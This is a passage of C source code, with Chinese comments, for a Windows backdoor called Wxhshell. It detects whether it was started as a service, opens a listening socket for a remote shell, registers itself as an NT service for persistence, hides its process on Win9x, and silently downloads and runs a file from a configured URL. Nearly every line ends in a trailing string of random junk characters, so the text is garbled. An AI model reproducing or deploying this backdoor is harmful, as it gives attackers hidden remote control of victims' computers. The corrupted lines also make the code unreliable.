ULONG InheritedFromUniqueProcessId; 'M'w,sID
} PROCESS_BASIC_INFORMATION; K5 vNhA
-S; &Q'Mt
PROCNTQSIP NtQueryInformationProcess; l+
T,2sd
s3lJu/Xe{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @?2n]n6
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g0#q"v55
)&Z>@S^
HANDLE hProcess; K&pM o.
PROCESS_BASIC_INFORMATION pbi; dc^Vc{26Z
izt^Wi|
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9NIy#
if(NULL == hInst ) return 0; & 5
<**
rFXSO=P?Z
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {-*\w-~G
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W\ULUK
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mf*Nr0L;J
R40W'N1%q
if (!NtQueryInformationProcess) return 0; wz@FrRP=
Y">4Qx4W
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P"4Mm,
C
if(!hProcess) return 0; ~8Sqa%F>
^eTZn[qH>w
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5~\Kj#PBx
&|z544
CloseHandle(hProcess); '\4fU%
DJ:38_ F
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :Kay$r0+
if(hProcess==NULL) return 0; :QA@ c|(PF
ec?1c&E
HMODULE hMod; Ve:&'~F2 s
char procName[255]; 7t4v~'h;5e
unsigned long cbNeeded; Z% Z"VoxH
ggCr-
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T <A
^_w*XV
CloseHandle(hProcess); @aB9%An1
}=pOiILvD
if(strstr(procName,"services")) return 1; // 以服务启动 QV)}3pW
Gm@iV,F%R
return 0; // 注册表启动 T{ nQjYb?
} wG:$6
UT-ewXh
// 主模块 pYGYy'%A'
int StartWxhshell(LPSTR lpCmdLine) FH
-p!4+]
{ n8FT<pUq
SOCKET wsl; 8dV=1O$/
BOOL val=TRUE; ||gEs/6-
int port=0; =dn1}
struct sockaddr_in door; ftW{C1,U7
+G\0L_B
if(wscfg.ws_autoins) Install(); %Ht^yemQ
\6c8z/O7
port=atoi(lpCmdLine); ):}Fu
w&+\Wo;([b
if(port<=0) port=wscfg.ws_port; .q0AoM
U$@83?O{iM
WSADATA data; KQW!\y?$"
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BGA%"b
?k
w/S4
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bQ=s8'
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0Ts!(b]B
door.sin_family = AF_INET; s9:%s*$u
door.sin_addr.s_addr = inet_addr("127.0.0.1"); l)iv\j
door.sin_port = htons(port); %30T{n:
I W8.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g?$e^ls
closesocket(wsl); z-)*Q
return 1; 7n<#y;wo
} }RDb1~6C
Z3I L8
if(listen(wsl,2) == INVALID_SOCKET) { xK=J.>h3
closesocket(wsl); IPkA7VhFF
return 1; X#Ak'%J
} IF$^0q
Wxhshell(wsl); '@S,V/jy0z
WSACleanup(); HD~jU>}}
J,`_,T
return 0; e7hO;=?b'
F42TKPN^uu
} v?%0~!
Flne=ij6g
// 以NT服务方式启动 uJm #{[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1uY3[Z9S
{ ,?;sT`Mh)
DWORD status = 0; 5@CpP-W#
DWORD specificError = 0xfffffff; bA0uGLc
Bd.Z+#%l"
serviceStatus.dwServiceType = SERVICE_WIN32; Yo@m50s$
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]zy~@,\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U"/yB8!W
serviceStatus.dwWin32ExitCode = 0; ,?t}NZY&
serviceStatus.dwServiceSpecificExitCode = 0; 1riBvBT
serviceStatus.dwCheckPoint = 0; D@}St:m}
serviceStatus.dwWaitHint = 0; PGMv(}%;
mC%%)F'Zf
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <?nB,U
if (hServiceStatusHandle==0) return; +i_'gDy$
T^+1rG
status = GetLastError(); q!9^#c
if (status!=NO_ERROR) @OBHAoz%/
{ tu7+LwF7
serviceStatus.dwCurrentState = SERVICE_STOPPED; {rtM%%l
serviceStatus.dwCheckPoint = 0; zL6
\p)y
serviceStatus.dwWaitHint = 0; y`\mQ48V
serviceStatus.dwWin32ExitCode = status; kf}F}Ad:%
serviceStatus.dwServiceSpecificExitCode = specificError; [U%.Gi
SetServiceStatus(hServiceStatusHandle, &serviceStatus); JO}#f+w}
return; f<) Ro$
} wK2yt?
<[/PyNYK
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]VzqQ=U%
serviceStatus.dwCheckPoint = 0; p6B .s_G4
serviceStatus.dwWaitHint = 0; #?L(#a$k
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (QA-"9v#i,
} .jLMl*6%:
&S9f#Ui
// 处理NT服务事件,比如:启动、停止 D$Kz9GVZq
VOID WINAPI NTServiceHandler(DWORD fdwControl) y*y`t6D
{ e~tr^$/ (
switch(fdwControl) iLjuE)6-$
{ d3\OHkM0^
case SERVICE_CONTROL_STOP: 9k(*?!\;
serviceStatus.dwWin32ExitCode = 0; ]u\ `
serviceStatus.dwCurrentState = SERVICE_STOPPED; DxE^#=7iH;
serviceStatus.dwCheckPoint = 0; 2Px$0&VN
serviceStatus.dwWaitHint = 0; XhQw+j~1.
{ z"G`o"4
V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); NvEm,E\|
} r'Hy}HWuF
return; mOwWg
case SERVICE_CONTROL_PAUSE: j` [#Ij
serviceStatus.dwCurrentState = SERVICE_PAUSED; /UEV8 1
break; i5ajM,i/K
case SERVICE_CONTROL_CONTINUE: 5HWwl.D
serviceStatus.dwCurrentState = SERVICE_RUNNING; #
q0Ub-
break; #a|6Q 8
case SERVICE_CONTROL_INTERROGATE: j CTQsV
break; HA$^ *qn
}; zz7Y/653
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *#9VC)Q
} |@T5$Xg]5
o(B<!ji~'
// 标准应用程序主函数 J=f:\]@Oy
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v_?s1+w
{ owfp^hla
B2ek&<I7N
// 获取操作系统版本 &:!ZT=
OsIsNt=GetOsVer(); gaLEhf^
GetModuleFileName(NULL,ExeFile,MAX_PATH); cq'}2pob
XgwMppacw
// 从命令行安装 6Tm
Rc
if(strpbrk(lpCmdLine,"iI")) Install(); \;3B?8wbIl
;'2`M
// 下载执行文件 w>`h3;,2
if(wscfg.ws_downexe) { H<rnJ
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FgFJ0fo
WinExec(wscfg.ws_filenam,SW_HIDE); &=+cov(3
} ]Ssw32yn
VJ~X#Q
if(!OsIsNt) { k"Z"$V2i
// 如果时win9x,隐藏进程并且设置为注册表启动 QN{}R;s
HideProc(); yFPaWW
StartWxhshell(lpCmdLine); 8o8b'tW^
} b7W=HR
else `:-@E2
if(StartFromService()) 3/A!_Uc(
// 以服务方式启动 1Pw(.8P
StartServiceCtrlDispatcher(DispatchTable); wW6mYgPN%
else fg>B
// 普通方式启动 STFQ";z$
StartWxhshell(lpCmdLine); 2A@Y&g(6T7
ain#_H
return 0; =Do3#Xe2V
}